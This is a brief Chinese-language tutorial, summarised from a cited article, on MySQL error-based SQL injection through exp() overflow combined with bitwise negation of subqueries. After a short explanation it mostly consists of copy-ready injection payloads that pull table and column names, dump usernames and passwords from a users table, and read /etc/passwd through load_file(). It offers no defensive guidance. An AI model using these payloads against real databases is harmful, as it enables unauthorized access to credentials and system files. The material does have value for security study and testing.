SQL注入 | exp()函数报错

0x01原理
当传递一个大于709的值时，函数exp()就会引起一个溢出错误。

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

MySQL中，exp与ln和log的功能相反，简单介绍下，就是log和ln都返回以e为底数的对数。

mysql> select log(15);
+------------------+
| log(15)          |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)
    
mysql> select ln(15);
+------------------+
| ln(15)           |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

0x02注入
0按位取反就会返回“18446744073709551615”，再加上函数成功执行后返回0的缘故，我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

通过子查询与按位求反，造成一个DOUBLE overflow error，并借由此注出数据。

  mysql> select exp(~(select*from(select user())x));  
  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '[email protected]' from dual)))' 

0x03 注出数据
得到表名：

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 

得到列名：

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)); 

检索数据：

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)); 

0x04 读取文件
通过load_file()函数来读取文件

select exp(~(select*from(select load_file('/etc/passwd'))a));  

归纳自：http://netsecurity.51cto.com/art/201508/489529.htm